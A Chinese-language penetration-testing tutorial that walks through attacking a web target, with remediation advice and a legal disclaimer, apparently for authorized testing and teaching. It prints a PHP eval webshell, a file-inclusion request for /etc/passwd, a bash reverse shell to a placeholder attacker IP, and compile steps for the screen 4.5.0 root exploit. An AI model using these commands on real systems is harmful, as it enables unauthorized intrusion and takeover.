web漏洞挖掘利用
字数 1468 2025-08-12 11:33:56

Web漏洞挖掘利用实战教学文档

1. 信息收集阶段

1.1 目标识别

  • 域名解析:使用nslookup 域名命令获取目标IP地址
  • 端口扫描:使用Nmap扫描目标IP,发现开放端口及系统信息
    • 示例发现:Nginx系统,版本1.6.2

1.2 网站功能分析

  • 发现留言板功能(用户输入输出点,高概率存在漏洞)
  • 页面结构分析:发现页尾变化可疑

1.3 路径探测

  • 使用御剑等工具进行URL路径探测
    • 发现footer.php文件
    • 发现thankyou.phpfooter.php可能存在文件包含关系

2. 威胁建模

  • 风险评估
    • 业务连续性风险
    • 数据安全风险
    • 系统完整性风险
  • 攻击面分析
    • Nginx版本漏洞(CVE-2016-1247)
    • 输入点XSS可能性
    • 文件包含/上传漏洞

3. 漏洞探测

3.1 版本漏洞验证

  • 搜索Nginx 1.6.2版本漏洞(CVE-2016-1247)
    • 验证失败(未找到有效利用方式)

3.2 XSS测试

  • 输入测试payload:<script>alert(1)</script>
  • 结果:被过滤转义,未触发弹窗
  • 发现页尾内容变化,可能存在其他漏洞

3.3 文件包含漏洞探测

  • 直接访问footer.php发现内容动态变化
  • 尝试读取系统文件:
    • /etc/passwd - 成功读取,确认存在文件包含
    • MySQL密码文件 - 访问受限
    • Nginx错误日志:/var/log/nginx/error.log

4. 漏洞利用

4.1 文件包含利用

  • 尝试一句话木马:<?php @eval($_POST['cmd']);?>
    • 初始尝试失败(被转义)
  • 使用BurpSuite抓包重放:
    • 绝对路径上传失败
    • 相对路径上传成功

4.2 蚁剑连接

  • 使用中国蚁剑连接成功
  • 获取普通用户权限shell

5. 内网渗透与提权

5.1 反弹Shell

  • 从蚁剑建立反弹shell到Kali Linux
  • 使用命令获取交互式shell

5.2 权限提升

  1. 查找提权机会

    • 查找具有SUID权限的文件
    • 发现screen 4.5.0存在提权漏洞
  2. 利用步骤

    • 使用searchsploit查找screen 4.5.0漏洞
    • 找到提权脚本41154.sh
    • 分解脚本为三部分:
      • libhax.c - 编译为动态库
      • rootshell.c - 编译为二进制文件
      • root.sh - 提权主脚本
  3. 执行提权

    • 上传文件到/tmp目录
    • 执行root.sh获取root权限

6. 渗透报告要点

6.1 报告内容结构

  1. 概述:测试目标、范围和时间
  2. 团队优势:技术能力和经验
  3. 使用工具:Nmap、BurpSuite、蚁剑等
  4. 渗透过程:详细步骤和方法
  5. 漏洞发现:按风险等级分类
  6. 整改建议:针对每个漏洞的修复方案
  7. 安全加固:整体安全提升建议

6.2 漏洞修复建议

  1. Nginx升级:修复已知版本漏洞
  2. 输入过滤:加强用户输入验证
  3. 文件包含防护:禁用危险函数,如includerequire
  4. 权限控制:遵循最小权限原则
  5. 日志监控:加强异常行为监测

附录:常用命令参考

信息收集

nslookup example.com
nmap -sV target_ip

文件包含测试

curl http://target/footer.php?file=/etc/passwd

反弹Shell

# 攻击机监听
nc -lvnp 4444

# 目标机连接
bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

提权准备

# 编译动态库
gcc -shared -fPIC -ldl -o libhax.so libhax.c

# 编译二进制
gcc rootshell.c -o rootshell

# 转换脚本格式
vim root.sh
:set ff=unix
:wq

法律与道德声明

  1. 所有渗透测试必须获得书面授权
  2. 遵守《中华人民共和国网络安全法》
  3. 禁止未经授权的测试行为
  4. 测试数据需严格保密
  5. 发现漏洞应及时报告相关方

本教学文档基于实战案例编写,仅供合法授权的安全测试和学习参考。实际环境中需根据具体情况调整测试方法,并始终遵循法律法规和职业道德准则。

Web漏洞挖掘利用实战教学文档 1. 信息收集阶段 1.1 目标识别 域名解析 :使用 nslookup 域名 命令获取目标IP地址 端口扫描 :使用Nmap扫描目标IP,发现开放端口及系统信息 示例发现:Nginx系统,版本1.6.2 1.2 网站功能分析 发现留言板功能(用户输入输出点,高概率存在漏洞) 页面结构分析:发现页尾变化可疑 1.3 路径探测 使用御剑等工具进行URL路径探测 发现 footer.php 文件 发现 thankyou.php 与 footer.php 可能存在文件包含关系 2. 威胁建模 风险评估 : 业务连续性风险 数据安全风险 系统完整性风险 攻击面分析 : Nginx版本漏洞(CVE-2016-1247) 输入点XSS可能性 文件包含/上传漏洞 3. 漏洞探测 3.1 版本漏洞验证 搜索Nginx 1.6.2版本漏洞(CVE-2016-1247) 验证失败(未找到有效利用方式) 3.2 XSS测试 输入测试payload: <script>alert(1)</script> 结果:被过滤转义,未触发弹窗 发现页尾内容变化,可能存在其他漏洞 3.3 文件包含漏洞探测 直接访问 footer.php 发现内容动态变化 尝试读取系统文件: /etc/passwd - 成功读取,确认存在文件包含 MySQL密码文件 - 访问受限 Nginx错误日志: /var/log/nginx/error.log 4. 漏洞利用 4.1 文件包含利用 尝试一句话木马: <?php @eval($_POST['cmd']);?> 初始尝试失败(被转义) 使用BurpSuite抓包重放: 绝对路径上传失败 相对路径上传成功 4.2 蚁剑连接 使用中国蚁剑连接成功 获取普通用户权限shell 5. 内网渗透与提权 5.1 反弹Shell 从蚁剑建立反弹shell到Kali Linux 使用命令获取交互式shell 5.2 权限提升 查找提权机会 : 查找具有SUID权限的文件 发现screen 4.5.0存在提权漏洞 利用步骤 : 使用 searchsploit 查找screen 4.5.0漏洞 找到提权脚本41154.sh 分解脚本为三部分: libhax.c - 编译为动态库 rootshell.c - 编译为二进制文件 root.sh - 提权主脚本 执行提权 : 上传文件到 /tmp 目录 执行 root.sh 获取root权限 6. 渗透报告要点 6.1 报告内容结构 概述 :测试目标、范围和时间 团队优势 :技术能力和经验 使用工具 :Nmap、BurpSuite、蚁剑等 渗透过程 :详细步骤和方法 漏洞发现 :按风险等级分类 整改建议 :针对每个漏洞的修复方案 安全加固 :整体安全提升建议 6.2 漏洞修复建议 Nginx升级 :修复已知版本漏洞 输入过滤 :加强用户输入验证 文件包含防护 :禁用危险函数,如 include 、 require 权限控制 :遵循最小权限原则 日志监控 :加强异常行为监测 附录:常用命令参考 信息收集 文件包含测试 反弹Shell 提权准备 法律与道德声明 所有渗透测试必须获得书面授权 遵守《中华人民共和国网络安全法》 禁止未经授权的测试行为 测试数据需严格保密 发现漏洞应及时报告相关方 本教学文档基于实战案例编写,仅供合法授权的安全测试和学习参考。实际环境中需根据具体情况调整测试方法,并始终遵循法律法规和职业道德准则。